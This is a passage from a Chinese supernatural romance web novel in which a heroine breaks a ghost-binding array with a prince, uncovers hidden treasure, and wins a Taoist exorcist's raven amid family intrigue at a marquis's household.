但是在靳朝言面前,又不好太潇洒。 她可还想在靳朝言面前留一个好印象呢。 于是她朝靳朝言招了招手:“殿下,借一步说话。” 不用他们往一边躲,几个侍卫立刻有眼力劲儿地退开了一截。 安槐眨眨眼,凑了过去。 她比靳朝言矮大半个头,靳朝言见她那意思是要说悄悄话,连忙凑过去。 两人离得太近了。 安槐说话的时候,呼吸的气息暖暖的吹在靳朝言耳朵上,痒痒的。 安槐嘀嘀咕咕地说完了,靳朝言的脸也有点红。 幸亏这里阴森森的,红也不太看得出来。 安槐说完,靳朝言点了点头。 “行,我明白了。” 让安槐跟一群男人说这个,确实不合适。 更何况她还是未来的皇妃,尊卑有别,更要注意。 靳朝言往前走了几步,低声跟手下说了起来。 安槐却在包里摸来摸去,摸出个金色的小铃铛。 她那腰包跟百宝箱似的,也不知道装了多少神奇的东西。 安槐将铃铛晃了一下。 一阵轻灵的声音传了出来。 只见她晃着铃铛,在院子里踩过,口中念念有词。 “天地为阵,阴阳为凭。” “冤魂滞魄,不得安宁。” “魂兮归来,勿困尘埃。” “冤屈未雪,执念难埋。” “破此阵局,开此幽冥。” “含恨之魂,皆应我名。” “来……” 铃铛之声,一声压着一声。 一声未消,一声又起,让人的心一直提一直提,高高悬起,颤颤不落。 靳朝言这几个手下都很年轻,都未婚配。 军中管得严,没有女眷,也没有那些乱七八糟的事情,都是童子身。 靳朝言按照安槐的安排,选了四个人,到了安槐所说的四个阵眼。 分别破阵。 其他三个还好。 枯井的这个阵眼,靳朝言吩咐诸元去。 诸元扭扭捏捏。 还有点委屈。 “殿下,为什么是属下?” 靳朝言安慰他:“你脸皮最厚。” 第24章 折骨,谁敢碰我的皇妃 诸元脸涨的通红,回头看了看。 “放心吧,给你挡着。”靳朝言说:“就算你不在意,难道本王还不在意吗?” 靳朝言招了招手,三个侍卫在诸元身后站了一排,把他遮挡的严严实实。 诸元不情不愿的解开了裤腰带。 哗啦啦的水声传了出去。 枯井里噼里啪啦的。 一阵青烟从井里冒来出来。 安槐就当什么都听不见。 事实上她确实也听不见。 她有自己的事情做。 喊了三遍,嗓子都冒烟了。 但是一点回应都没有。 安槐有些凝重的收回铃铛。 这院子里已经没有魂魄在了。 那这锁灵阵禁锢的魂魄,去了哪里? 是已经魂飞魄散,还是跑了? 当水声停止,院子里好像有什么东西闪了闪。 阴森之气好像减轻了一些。 “真的有用啊。” 诸元觉得自己没白解裤腰带。 自从进了这院子,大家心里就像是压着块石头,阴沉沉的。现在这石头仿佛抬起来一点,气息都顺了一点。 “当然有用。”安槐走了过来:“开门吧。” 刚才还推不开的门,这次轻轻一推,真的没了刚才的阻力。 众人都一脸惊喜。 诸元拍马屁:“安小姐,您真是学识渊博,见多识广。” 安槐笑了一下。 她就是个村姑,过奖过奖了。 诸元一用力,门开了。 这哪里是个房间,这是个佛堂。 又不是普通的佛堂。 这里供奉的不是什么菩萨金刚。 这里供奉的是一具棺材。 只是这具棺材是竖起来的,像是人像一样立在堂中,前面是个供桌,供桌上有三炷香。 香已经燃尽,只剩下灰烬。 供桌前是个蒲垫。 垫子上有两个印子,像是有人常年在这里跪着,活生生压出来的。 房间里贴满了黄色的符咒,虽然看不懂上面龙飞凤舞写的是什么,但看着就不像是好东西。 众人都难免打了个寒战。 “我……”诸元想着有安槐在,把到了嘴边的粗话给咽了回去:“这也太邪门了,我还从没见过供奉棺材的地方。” 如果是在半个时辰前,安槐说,你们让开让我开。 大家一定觉得她这是瞧不起谁呢? 但现在,就算安槐没说让开我来,大家也都看向她。 靳朝言的手下还真不是瞎逞能的性格。 会就是会,不会就是不会。 眼下这场面,是真不明白。 “这里不是供奉棺材。”安槐果然不负众望:“这是灭魂蚀识咒。施咒之人先将死者魂魄引来,困在血衣之中。用槐木钉将血衣钉在棺材中。” “然后日夜焚香颂咒,慢慢地磨灭魂魄的记忆,灵识,执念。先让冤魂忘记仇恨,再忘记身份,最后变成无智阴煞,慢慢消散。” 诸元由衷地说:“安小姐,您懂得可真多。” 虽然听起来都像是胡言乱语,但又好像言之有理。 靳朝言道:“那我们该如何?” 安槐看向诸元。 诸元突然脸一红。 “还要……不行,我不行了,这也要攒一攒啊。” 今天都没喝多少水。 安槐无语。 “让你一刀把棺材劈了。” 诸元松了口气,他还以为又要童子尿呢。 “那行。” 诸元抽出刀来。 安槐走了过去,伸手。 诸元没明白:“安小姐,您这是……” “孤阴不生,独阳不长。”安槐说:“你一个人劈不开,我握着你的手劈。” 诸元和靳朝言都变了脸色。 诸元连连后退。 “不不不,属下不敢。” 未来的皇妃握着自己的手,自己这手是不想要了吗? 就算靳朝言再随和,也不可能让别的男人碰未来的皇妃。 安槐纯粹是在地下埋了三百年,脑子一时有点堵。 毕竟人死了以后,衣服都烂没了,皮肉也烂没了,埋在土里的大家有时候没那么讲究。 看诸元瞬间白了的脸色,也反应过来了。 是不合适哈。 她转头看靳朝言。 靳朝言说:“本王来。” 他虽然脸色微沉,倒是没有发火。 边关十年,靳朝言见多了各式各样的人。 人说人话,人说鬼话,鬼说鬼话,鬼说人话。 是无心之言,还是故作矫态,他一眼便知。 靳朝言抽出剑来。 安槐握住了靳朝言的手。 靳朝言说:“这样就可以?” 安槐握了握,又放开,总觉得这个姿势有点奇怪。 “这样是不是不好发力?” 安槐展开想了一下,靳朝言要是一抬手劈棺材,她不得被扔出去? 靳朝言低头看了一眼两人的手。 好像是不太方便。 靳朝言想了想:“你握着剑。” 他先放手。 安槐依言握住了剑柄。 剑有些重,当然这不算什么。 然后靳朝言的手,握住了安槐的手。 安槐的手小,靳朝言的手大,几乎将她的手都包裹了进去。 安槐刚觉得有点怪怪的,腰上突然一紧。 靳朝言的另一只手搂住她的腰。 “殿下……”安槐愕然回头。 靳朝言不知何时站在安槐身后,一手搂着她的腰,一手握住她的手,一副完全将她拥在怀中的姿态。 安槐后知后觉地想。 他这不会是……因为刚才那句话,吃醋了吧? 男人的占有欲? 手下站在身后,面无表情一言不发。 “这样比较好发力。”靳朝言一本正经的解释:“而且,我可以扶着你,不会伤着你。” 安槐点了点头。 行吧,这个姿势比刚才确实是顺手多了。 刚才是靳朝言挥剑,她在一边凑热闹。 现在其实是她挥剑,靳朝言在一边助力。 靳朝言猛的挥剑。 安槐果然感觉随着手臂抬起挥出,整个身体往上一冲。 但是被一只有力的胳膊搂住了。 剑光闪过。 棺木上出现了一道裂痕。 裂痕先是一条小缝隙,然后越来越大,越来越大。 啪的一声,一分为二。 安槐眼疾手快地掏出火折子,擦的一下亮了,丢了过去。 棺木里轰的一声,腾起一团火焰。 火焰中,无风自动,一件衣服在火中舞蹈。 浓重的血腥味从火焰中传了出来,众人忍不住捂住鼻子。 “阵破了,我们快走。” 安槐也捂住了鼻子,一边说,一边挥手让大家扯。 众人飞快退出了屋子。 院子里的天空明明灭灭,似乎老天爷也不知道现在应该下雨还是出太阳。 刚才还劈不出一道白痕的院门,不知何时已经开了,破破烂烂地在风中晃悠。 第25章 折骨,同屋异梦,各有猜忌 侍卫护着靳朝言和安槐离开院子,又快速离开宅子,这才松了口气。 宅子里的火没有熄灭,反而越烧越旺盛。 好在这宅子独门独户的,周围一片荒芜,也没有什么易燃的草木。烧一会儿,把屋子里的东西烧得七七八八,自己也会灭了。 出了宅子,刚才一直压在众人心里那阴森诡异的感觉,立刻就消失了。 有人突然想起来什么,看了看自己的手。 不知何时,手上叶子的印记已经消失了。 别管管用不管用,就说神奇不神奇? 众人看安槐的眼神,都有点猜不透。 一滴水珠落在安槐脸上。 安槐伸出手。 又一滴水珠落下。 倾盆大雨落了下来。 院子里的火依然烧得旺盛,半点没有因为大雨压制而显颓势。 杭玉堂急道:“殿下,您的身体可不能淋雨。咱们就近找个地方避雨吧,这里属下盯着就行。” 现在回自己的庄子有点远了。 众人翻身上马,去了最近的一户农家。 这就是一户普通人家,一个小院,里面三间平房。 主人家看见一群骑马的人气势汹汹过来,吓了一跳,还以为是什么打家劫舍的呢。 但随后就被杭玉堂的银子砸昏了。 “老丈,我家公子想借你房子避一避雨,麻烦你行个方便。” 农户一看。 这锭银子都够买下他家三间草屋了。 “请进,贵人快请进。” 农户热情地将众人迎进屋子。 以权压人,叫人厌恶。 以钱压人,那叫贵人。 靳朝言和安槐进了屋子,其他人都站在门口屋檐下。 农户有心让大家都进来,屋子虽然小,但四五个人还是能挤得下的。 但是看了看靳朝言,没有开口。 安槐挠了挠胳膊。 又挠了挠胳膊。 靳朝言不由地看了过去。 “怎么了?可是刚才骑马,伤了手臂?” “没有。” 安槐敷衍笑了一下。 虽然他们动作快,还是淋了雨。 不说湿透了,也都淋了一身,胳膊上痒痒的,有点想长树叶的感觉。 农户在一旁说:“咱们这乡下蚊虫多,贵人可是被什么虫子叮咬了?” 靳朝言一听有礼。 “杭玉堂,你带的药膏呢?” 杭玉堂连忙从腰包里拿出个小瓶子。 靳朝言虽然在战场上英勇无比,但终究还是皇子的做派,衣食住行矜贵得很,到哪里也是非必要不受一点委屈的。 接过药膏,靳朝言问:“哪里被蚊虫咬了?” 他没有将药膏递给安槐的打算,看那样子,是要亲自给安槐抹药。 安槐说:“我自己来。” 但靳朝言坚持:“我来。” 安槐不动。 靳朝言笑道:“你我后日就要成亲了,不必避讳。难道这点体贴,也不让我表示表示吗?” 安槐只好偷偷把手臂上掐了个红点,然后卷起袖子。 “这里。” 药膏抹上去清清凉凉的,挺舒服。 就是感觉靳朝言有些怪怪的。 “好了。”靳朝言收起药膏:“过一会儿若是还痒,就再涂一点。” 屋外的雨哗哗啦啦,不像是一时半会儿要停的样子。 杭玉堂说:“公子,属下回去将马车驶来,送公子和小姐回城。” 就算雨太大不回城,也不能在这里过夜。 太简陋了。 总要回到自己的庄子里才好。 靳朝言点头。 一名手下冲进雨中,骑马消失在尽头。 靳朝言的庄子里有马车,骑马去马车回,一去一回不用一个时辰。 大家都不着急。 安槐在桌边坐了一会儿,起身走到门口。 雨,越下越大。 她伸手接了些雨在手里,不知在想什么。 突然,脸上多了一只手。 安槐吓了一跳,猛地转身。 其实不用想,这人就是靳朝言。 也只能是靳朝言。 除了靳朝言,谁还敢摸她的脸。 靳朝言解释说:“你脸上有灰。” 说着,用拇指在她脸上蹭了蹭,似乎是没蹭掉,又稍微加大了一些力气蹭了蹭。 “好了。” 靳朝言站在安槐身边,陪她一起看雨。 安槐伸手摸过靳朝言蹭过的地方。 不对劲。 靳朝言不是那孟浪轻浮的性格。 他们俩还没成亲呢,靳朝言又不是对她一见钟情,被她迷得神魂颠倒,怎么可能在外人面前做出如此亲昵的举动来? 他一定有别的目的。 三百年了,男人的心还是如此难以揣测。 上位者的心眼子,还是和蜂窝一样多。 莫非……他是怀疑自己什么了? 一个庄子里养大的姑娘,会爬树爬墙没什么稀奇,又会医术,又会看风水,还会破阵抓鬼,好像是有点不对劲了。 安槐皱起眉头。 她不怕靳朝言怀疑她,也不在乎靳朝言怀疑她,只要别坏了她的事就行。 要是坏了她的事,那她只好把靳朝言,抓!起!来! 一个屋檐下,两个看似浓情蜜意的未婚夫妻,其实心里各有算计。 虽然不是同床异梦,但也算同屋异梦了。 不用一个时辰,马车就到了。 靳朝言和安槐进了马车。 其他人上马,冒雨前行。 马车路过刚才的宅子。 火势已经小了一些。 安槐将窗帘撩起一点。 “殿下。” 靳朝言凑过来,跟她一起往外看去。 “我感觉这火要灭了。”安槐说:“要不然咱们不着急回去,等火灭了,进去看看。” 反正天还没黑。 而且宅子里的阵法破了之后,就成了一个普通的宅子,也没有什么危险了。 靳朝言想了想:“停车。” 那一把火没有烧出宅子,只在三间屋子里肆虐。 火来得凶猛,也去得凶猛。 雨尚未完全停,火就灭了。 安槐靠近堂屋的时候,突然捂住心口。 有一瞬间的不舒服。 靳朝言敏锐道:“怎么了?” 安槐还没回话,屋子里传来一声惊呼。 “殿下,殿下有发现。” 能让诸元喊出这一嗓子,定是个大发现。 靳朝言快步走了过去。 安槐也跟了过去。 她大概知道被发现的是什么东西了。 克她的东西。 所以刚才靠近的一瞬间,才有不适的感觉。 堂屋里有一个地下室。 地下室的入口是木板,这一场大火,将木板烧穿,地下室便露了出来。 第26章 折骨,侯府又闹鬼了 地下室里放着六个箱子。 诸元已经跳进了地下室,打开了其中一个箱子。 箱子里黄灿灿的,是堆放得整整齐齐的金元宝。 一个一个,叠在一起。 诸元抱了一下箱子。 竟然没怎么抱动。 看来这一箱是装的满满当当的,才能有这个分量。 另外几个箱子也打开了,里面全部是银锭。 也是满满当当。 靳朝言的手下也算见过世面,但看见这一箱黄金一箱银子,还是很意外。 安槐目测了一下,这箱子要是装满。 黄金怎么也得有上万两。 银子一箱也得有个五千两,五箱就是两万五千两。 她这些年是依托槐树养着自己的魂魄不散,金克木,因此看见金山银山有点晕。 昨晚也有一点。 但是不要紧,能克服。 她毕竟是个人,从心里是喜欢黄白之物的,在真金白银面前,什么都能克服。 “竟然有这么多金银。”诸元嘴快:“殿下,这是不义之财吧?” 这宅子妖里妖气的,这些钱财肯定见不得人。 靳朝言一声令下。 都搬走。 大家热火朝天的开始搬。 整箱的有些重,从地下室不好运上来,就先卸一部分,运半箱上来,然后再运半箱。 都是会功夫的壮小伙儿,干起活儿来那叫一个利落。 下雨赶路不方便,本来今晚是打算宿在庄子的,但现在搜出这么多金银,就不打算留宿了。 这笔钱要尽快运回去,免得夜长梦多。 当然身为皇子,靳朝言眼界没有那么浅,他只是想着,这案子的牵扯,怕是更大了。 如果这庄子和这三名死者有关,那么这个案子就不仅仅牵扯了这几个人。 这几个人,谁也不像是有那么多钱的样子。 能拥有这么多钱财,要么是京城富商,要么是朝中重臣。 甚至可能两者皆有。 那这事情,就更严重了。 当下,又套了一辆车。 一辆坐人,一辆运货。 进城已经天黑了,靳朝言让诸元带人将金银先送回王府,打算自己送安槐回侯府。 安槐今天是听说他发病了,这才急匆匆去了城外的庄子。 一去去了一天,也没来得及和侯府打招呼。 现在天都黑了才回,估计回去要被教训。 哪有大户人家的千金小姐,也不带个丫鬟婆子,一出门一整天的。 他得去帮着做个见证,证明安槐今天是跟他在一起,免得侯府责怪。 当然,靳朝言没想到,安槐何止是出来一天。 还有昨天一夜。 前天也是一天。 她自从回到侯府,就没有在府里待多长时间。 不过此时侯府的人也根本顾不上她。 马车到了永安侯府门口,靳朝言说:“安小姐,我送你进去吧。” “不用。”安槐拎起裙摆,跳下马车。 “带下,明天还有一天,后天就要大婚了。案子虽然重要,我还是希望殿下能够公私兼顾。” 放眼整个皇城。 马上就要成亲,好像啥啥也没准备的,估计也就他们俩了。 “放心。”靳朝言说:“我会安排好。” 安槐进了侯府。 夜色中,侯府中透着一股诡异的气息。 路上丫鬟走过,看见安槐后,愣了一下。 安槐随手抓过一个丫鬟。 “怎么了?侯府出什么事了,我看大家一个个脸色奇奇怪怪的?” 丫鬟哆哆嗦嗦的:“没,没什么事。” “没什么事,怎么一脸害怕的样子?” 丫鬟没办法。 虽然安槐才回侯府两天,但是名声已经传来了。 一向骄纵的二小姐她都敢打,下人更是不在话下。 目前没打过,只是还没有人上赶着找死罢了。 丫鬟也不敢瞒着,只好将事情大概说了一下。 “大小姐,昨晚上清明院出事了。” 安槐心里有数了,但还是明知故问:“什么事?” 丫鬟眼神闪烁:“闹,闹鬼了。” “闹鬼?闹什么鬼?” “不知道。”丫鬟是真不知道:“奴婢不是清明院的,也不知道具体发生了什么。但是闹哄哄的半夜,只听见夫人喊着有鬼,叫得可凄厉了。” “行了,我知道了。” 安槐也不为难小丫头:“你去忙吧,我自己去看看。” 清明院里,此时果真热闹。 安槐还没走进院子,就闻到了一股难闻的味道。 血腥味。 她进了院子,只见院子里有个老道,一边挥舞着桃木剑,一边口中念念有词。 地上有一滩红色血迹,估计是撒的黑狗血,或者公鸡血之类的。 看来昨晚上候夫人是真吓着了,连跳大神的也请回来了。 这是打算……驱魔? 候夫人也在院子里,靠坐在一张软塌上,脸色惨白,目光呆滞,额头上还戴着个抹额。 安明珠就站在她身边,脸色也不太好。 一看见安槐进来,安明珠立刻喊:“大师,大师你看看,那个女人回来了。你看看,她是不是妖怪变的?” 安槐翻了个白眼。 安明珠可真敢说啊。 大师抬头看了一眼安槐。 虽然天黑了,但是院子里有灯笼,灯笼有光,安槐有影子。 安槐走了过来。 “大师,我妹妹是不是吓傻了,说胡话呢?” 大师知道安明珠的身份,听安槐说妹妹,立刻明白她的身份。 是永安侯府的另一位大小姐。 得罪不起,都得罪不起。 姐妹俩斗气,他可是个只想糊弄糊弄拿钱的外人。 候夫人看见安槐回来,眼神中露出一抹恐惧。 昨晚上的鬼确实不是安槐。 但前天晚上的是啊。 虽然前天晚上的鬼是三个月候的安槐,现在的安槐好像不知道,但一点儿也不耽误她害怕。 “大,大师。”侯夫人说:“你继续。” 大师点了点头。 继续做法。 安槐走到侯夫人身边,关切问:“娘,我不过出去一天,府里发生什么事了?” 都没人问她昨晚去哪儿了。 看样子,昨晚上她不在府里的事情可能她们不知道。 院子里的小喜和柳嬷嬷是肯定瞒不住的,但是她出门的时候就告诉她们了,自己可能回来晚点,没人问就别啰嗦。 估计是没人问,所以她们也没说。 侯夫人看了安槐好几眼,确定她不是三个月那个鬼,是个挺正常的人,终于安心一点。 “你这一天,跑哪儿去了?”侯夫人言语中有些责怪:“我有事要跟你说。” 第27章 折骨,九条抓鬼 “京城繁华,我出去逛了逛,就忘了时间。”安槐说:“娘,你要跟我说什么?” 侯夫人叹了口气。 “你跟我进来。” 安槐跟侯夫人进了屋。 两人坐下。 侯夫人又叹了口气。 自从安槐回府,她叹的气比上半辈子叹的气都多。 “你知道的,爹娘这次把你从庄子接回来,是要履行当年的婚约。” 安槐点头。 知道呀。 “那你可知道,你未来夫婿是谁?” “知道。” 侯夫人有些意外:“你知道?” “知道,是三皇子靳朝言。” “你竟然知道,知道也罢,知道也好。”侯夫人说:“本来想着你能成为皇妃,爹娘都很高兴。可是后来……我们不放心,又仔细打探了一下,发现三皇子并非良配。” 安槐在心里冷笑。 不得不说,这侯夫人说话真是滴水不漏。 为什么想让她嫁,为什么又不想让她嫁。 都是为自己好,这一颗操碎了的老母亲的心啊,谁听了谁不感动。 安槐故意装傻:“不是良配,那怎么办呢?这婚事是皇家指定,推不掉吧?” 侯夫人不得不继续叹气。 可不是推不掉。 昨天永安侯一早就进宫去了,得到的回复是考虑考虑。 今天,考虑的结果出来了。 皇帝不同意取消婚约。 “是推不掉,皇命难为。”侯夫人说:“我和你爹商量,就算如此,也不能看着你嫁进火坑。所以……我们想送你走。” “送我走?去哪里?” “去哪里都行,总之不能嫁给三皇子。” 永安侯夫妻也是豁出去了,这可是欺君:“等你远远地离开,我们找个理由,制造一场意外,就说你已经意外去世了,尸骨无存。这婚事,不就应付过去了吗?” 只要不被抓到确凿的证据,就算皇帝怀疑,也不可能因为怀疑真对侯府下死手。毕竟这个事情说起来,侯府的苦衷大家也能理解。 靳朝言那个情况,人家不想把女儿嫁过去,也是人之常情。 这也是没办法的办法了。 侯夫人说完,看着安槐。 仿佛只要她点头,立刻就能走。 但是安槐不同意。 安槐说:“不行。” “不行?” “不行,我觉得三皇子挺好的,我要嫁给他。” 侯夫人目瞪口呆地看着她。 “槐儿,你认真的?” “当然。”安槐心平气和:“娘,其实我今天出去,就是和三皇子在一起。” 侯夫人更加目瞪口呆。 “真的,不骗你,不信你可以叫人去三皇子府上问问。对了,也可以问门房,刚才就是三皇子送我回来的,门房应该都看见了。” 安槐不像是说谎的样子,侯夫人虽然信了,但心里还是转不过这弯。 “但是,但是……你真的愿意嫁给三皇子?” “愿意啊。三皇子虽然脸上有道疤,但瑕不掩瑜,还是英武不凡,女儿十分喜欢。” 安槐恰到好处的低头娇羞了一下。 “可是,可是……” 侯夫人看安槐这模样倒是真女儿家情窦初开的样子,可三个月后,她会被害死啊。 婚事是父母定的。 婚后和和美美,那自然不说什么。 要是过的不好,难免埋怨。 有的埋怨,是只能埋怨几句。 有的埋怨,那是要命啊。 “娘,不用可是了。”安槐一锤定音:“三皇子我非嫁不可,谁也不能拦着我。” 侯夫人一脸苦涩。 “娘不是不让你嫁,是怕你后悔啊……” “我不后悔!” 侯夫人更苦涩了。 “万一你后悔吗?” “绝不后悔。” 侯夫人都快要哭了。 你现在不后悔,三个月后悔,那可怎么办呀? 还没等她再劝两句,突然外面传来安明珠一声尖叫。 “啊……啊啊啊啊……放开我,快放开……” 连绵不断,怪吓人的。 接着是丫鬟婆子的喊声。 “小姐,小姐……快放开……” 脚步声,尖叫声,有什么东西被打翻的声音,乱做了一团。 侯夫人也顾不上再和安槐说话,连忙起身冲了出去。 安槐紧跟其后。 又有乐子可以看了。 冲出房门,侯夫人惊呆了。 只见院子里有一只黑色大鸟,正追着安明珠啄。 那鸟展翅有半人高,威武的不得了。 它蒲扇着翅膀,别人不看,就盯住了安明珠不放。 安明珠娇生惯养,哪里见过这场面,被追赶的狼狈不堪,抱着脑袋到处窜。 一边躲,一边哭喊。 院子里丫鬟小厮虽然有不少,但是对付地上走的还行,对付天上飞的可没那么容易。 这鸟看样子是大师的。 大师一脸又懵又急的在后面喊。 “九条,回来!九条,回来!” 一边喊,还一边吹口哨。 但是效果不大。 眼见着尖利的鸟爪子就要抓上安明珠的脸,侯夫人大喊一声:“快抓住那只鸟……” 千钧一发之际,大师终于挤到了边上,一把抓住了鸟爪子。 但鸟儿立刻又挣脱了。 但这一耽误,安明珠跑了。 安明珠一屁股坐在地上,吓得眼泪鼻涕一大把。 要是脸花了,那跟死了有什么区别? 九条在空中盘旋着,不愿意落地。 大师一头汗。 要是自己养的鸟儿毁了安明珠的脸,那他也完蛋了。 侯夫人颤抖指着大师:“霍大师,这是怎么回事?这疯鸟为什么跟着明珠?” 九条很不高兴自己被称为疯鸟,煽动着翅膀,隐约有要飞下来的趋势。 看的众人提心吊胆的。 “这……”大师一脸的纠结,仿佛有什么难言之隐。但迟疑了一下,还是实话实说:“九条通灵,能辨阴阳。它追着府上的这位小姐……是因为它感觉到这位小姐身上有阴气。” 安槐撩了下眼皮。 别说,大师还有两下子呢。 这九条也有两下子。 安明珠每日喝水的杯子里住着个鬼,她身上现在能没有阴气吗? 但是安明珠和侯夫人受不了这话。 “胡说八道!” 刚才还缩在一旁的安明珠一下子跳了起来。 “你才有阴气,你全家都有阴气。又不是我撞鬼,我哪来的阴气?” 这一说,侯夫人的脸色变了。 是她撞鬼。 而且,撞了两回了。 第28章 折骨,大师心碎 安明珠今天吃了大亏,一肚子的火气。 又是骂鸟,又是骂人。 大师本来还心有愧疚,但是听安明珠这么一骂,就不乐意了。 “小姐慎言。”大师板着脸:“老道从不胡言乱语,九条乃通灵之鸟,可不是什么疯鸟。” 安槐抬头看着满院子乱窜的鸟。 九条? 怪有意思的。 她其实一直想养个宠物来着,但三石坡是个鸟不生蛋的地方。 字面意义上的鸟不生蛋,这些年最多偶尔见个麻雀,都没有像九条这么威风的大鸟。 小兽也就是些猫狗黄鼠狼,她都看不上。 她挺喜欢九条。 侯夫人心疼女儿,但是心里有鬼,对着大师也硬气不起来。 虽然这两次都是她见鬼,但安明珠是她最疼的女儿,万一是在她身上沾染了呢? 侯夫人不硬气,大师就硬气了。 他吩咐徒儿收拾东西。 “既然侯夫人不信老道,那老道就告辞了,府上的事情,请夫人再请高明。” 不要钱,我走,总行了吧。 侯夫人已经心里矛盾的很。 又觉得大师是真有点本事,又觉得这事情不太好。 而且,不管是真是假,她并不想得罪大师。 万一人家真有两把刷子,恼羞成怒报复自己怎么办? 院子里一团混乱安槐并不在意,而是走过去问:“大师,我喜欢九条。” 大师愣了一下。 “九条是哪儿抓的?我能去抓一只吗?” 大师看了一眼安槐。 微微眯起眼睛。 安槐很淡定。 这皮肉骨头都是人,她没什么好怕的。 大师果然没说什么,只是说:“九条是天生灵鸟,自会认主,不可强求。” 安槐理解:“大师的意思是,九条会自己选择主人?” “是这样。” “那……它若是认了别人做主人,大师您怎么办?” 大师顺了顺胡子:“缘来珍贵,缘去送别,自有天意。老道当然不会强求。” 这可太好了。 安槐看的出来大师对九条十分喜欢,生怕自己动手抢了,大师会抱着自己的腿一哭二闹三上吊。 也是那么大一把年纪的人了,万一气出个好歹来,多不好。 但大师这么洒脱,她就放心了。 安槐抬起手来。 “九条……” 大师惊呆了,抬头看着天空。 九条今天像是心情不好,在院子里了乱飞。 “九条……过来……” 安槐一声声的唤。 万物有灵,若说鸟雀有什么离不开的,自然是树。 除去一些特别的种类,大部分的鸟儿,终其一生,窝都在树上。 孵化在树上,栖息在树上,倦鸟归林,总在树上。 安槐身上,有老槐树的气息。 九条渐渐飞低。 盘绕两圈,落在了安槐的手臂上。 大师惊呆了。 安槐收回手臂,仔细端详了九条一番。 九条是一只渡鸦,通体纯黑带着金属光泽,飞在天上的时候稳健霸气,叫声低沉有威慑。 “大师。”安槐说:“它这是要认我做主人了吗?” 大师只觉得天都要塌了。 “这怎么可能!” 但事实就是如此。 刚才追着安明珠满院子跑的九条,此时站在安槐手臂上动也不动,只给了原主人一个屁股。 大师又不死心地喊了几声。 九条一点回头的留恋都没有,就好像一个喜新厌旧的渣男。 大师的心都要碎了。 早知道,今天就不想那一百两银子了。 现在好了,钱没赚到,鸟没了。 好在安槐也没有那么狠心。 她从怀里摸出一叠银票,塞给大师。 “大师,一点心意,请你收下。你放心,我一定会好好对它的。” 大师倒是不想收钱,但是却也没有纠缠。 “渡鸦认主,非人力可以左右。”大师叹了一口气:“它既然已经选定了你,便是离开千里万里,也会自己回来。即便我不愿意,也左右不了。” 好在安槐刚才那一叠银票不老少。 虽然大师没数,估摸着也有好几千两。 略安抚了大师那颗千疮百孔的心。 罢了。 留不住的鸟儿,就像沙,扬了它。 还是财帛安人心。 大师那着钱,带着徒弟,走了。 侯夫人终于也安抚好了安明珠。 安槐走了过去:“娘,妹妹没事儿吧?” 安明珠刚才只顾着抱着娘哭了,这才注意到安槐肩膀上停着个大家伙。 正是刚才那只拼命追杀她的鸟。 “啊啊啊啊啊!” 安明珠又叫了起来。 “妹妹中气十足,想来是没事儿的。”安槐停下脚步:“既然没事儿,我就先回去了。今天忙了一天,我也累了。” 安槐朝抬手摸了摸九条,转身就走了。 安明珠气的都要冒烟,正要再骂,被侯夫人一把捂住了嘴。 “呜呜呜……娘……” 安明珠不解:“你干什么?” 侯夫人沉声道:“别惹她。” 安明珠更不解了。 侯夫人说:“你先回去休息,娘等你爹回来,有事情要和你爹商议。” 自从安槐回来,侯府就怪事连篇。 本来,只要赶紧把她嫁出去就行。 但现在,又不敢留下,又不敢嫁出去。 此时不能自乱阵脚,要从长计议方可。 安槐没想到偶尔会得了这么个有趣的玩意儿,心情大好的回芳菲院。 看见院子里鹌鹑一般的柳嬷嬷和小喜,也十分满意。 她们虽然跟着自己没两天,但是今天没去告状,这就不错。 一人赏了一锭银子。 两人又害怕,又高兴。 “对了。”安槐顺口问:“后天我就要嫁进三皇子府了,你们可愿意跟着我一起过去?” 两人面面相觑。 “你们毕竟跟了我几天,我怕我嫁人之后,娘和安明珠会找你们麻烦。当然,我也不强求,你们愿意去,就跟我去。到了三皇子府,我也能顾着你们。你们不愿意,就当我没说。” 两人心里都七上八下的。 小喜扑通跪了下来。 “奴婢愿意。” 虽然安槐冷冷淡淡的还有点暴力倾向,可对她们很和气啊。 不但没动过手,也没骂过,而且还给钱。 她只往上打,不往下打。 和安明珠正好相反。 与其留在侯府被欺负,不如跟着安槐。 做陪嫁丫鬟去了三皇子府,她就是皇子妃的亲信大丫鬟了。 那身份地位月钱,蹭蹭的往上涨啊。 第29章 折骨,舞姬 小溪愿意跟着安槐,柳嬷嬷想了想,也愿意。 两人的卖身契都在府里,但这不要紧,大户人家小姐出嫁,按惯例都会带几个陪嫁的丫鬟婆子,安槐开了口,侯夫人肯定不会拒绝。 “介绍你们认识一下。”安槐掂了掂胳膊:“这是九条,以后就是我的鸟儿了。它要是在家,就给它准备一点肉和清水。不在家就不用管它。” 九条,是一只自由的鸟。 两人心惊胆战的看安槐的新宠,纷纷应了。 九条此时很和善,并没有亮出利爪。 安槐一抖胳膊,让它自己玩儿去。 安槐安心的休息去了。 此时,杭玉堂又出了皇城。 靳朝言给了他一个非常重要的任务。 杭玉堂快马加鞭一路不歇,清晨时分,到了安家郊外的一处庄子。 正是安槐长大的庄子。 三皇子府里,清晨时分,靳朝言练剑方歇,诸元立刻递上帕子。 靳朝言接过擦了擦。 下人送上衣服。 靳朝言一边让下人穿衣,一边说:“杭玉堂回来没有?” “还没有,应该快了。”诸元应着:“殿下,您让杭玉堂去查那庄子,是怀疑……安小姐有什么问题吗?” “我不该怀疑吗?” 靳朝言自己系着腰带:“一个庄户人家养大的姑娘,大大咧咧,会爬树,脾气暴躁,这都不奇怪。她还会风水,难道不奇怪吗?” 诸元想了想:“但安小姐解释的理由,也说得通。” 机缘巧合这种事情,很难说。 “机缘巧合说得通,但有一点说不通。”靳朝言说:“就这几日接触,你觉得安槐是个忍气吞声,软糯好欺的性格吗?” 那真不是。 昧着一千个良心也不是。 她在侯府下打刚回走,上打九十九。 “既然不是,她为何会委屈自己在庄子里这么多年?”靳朝言某色暗沉:“她心狠手辣,又有本事。不该早早进京,把侯府搅个天翻地覆没吗?” 这一说,还真是。 诸元顿时警觉。 “殿下的意思,有人冒充安小姐?” 靳朝言没说话。 他昨日在农户家里,借机捏了捏安槐的脸。 当然不是想要占她的便宜,而是想要看看那张脸上是否带着人皮面具。 不过没有。 脸就是脸。 细腻的很,手感十分的好。 靳朝言想起昨日,不由搓了搓手指。 心里涌起一丝异样。 如果安槐是有人假冒,那定是有什么歹毒心思,定要揪出来问清楚。 如果她真的只是安家不受宠的女儿,那倒是无妨。 他从不打算借谁的势,并不在意安槐是否有利可图。 杭玉堂还没回来,派去查万贤山庄的人先回来了。 “殿下,有消息了。” 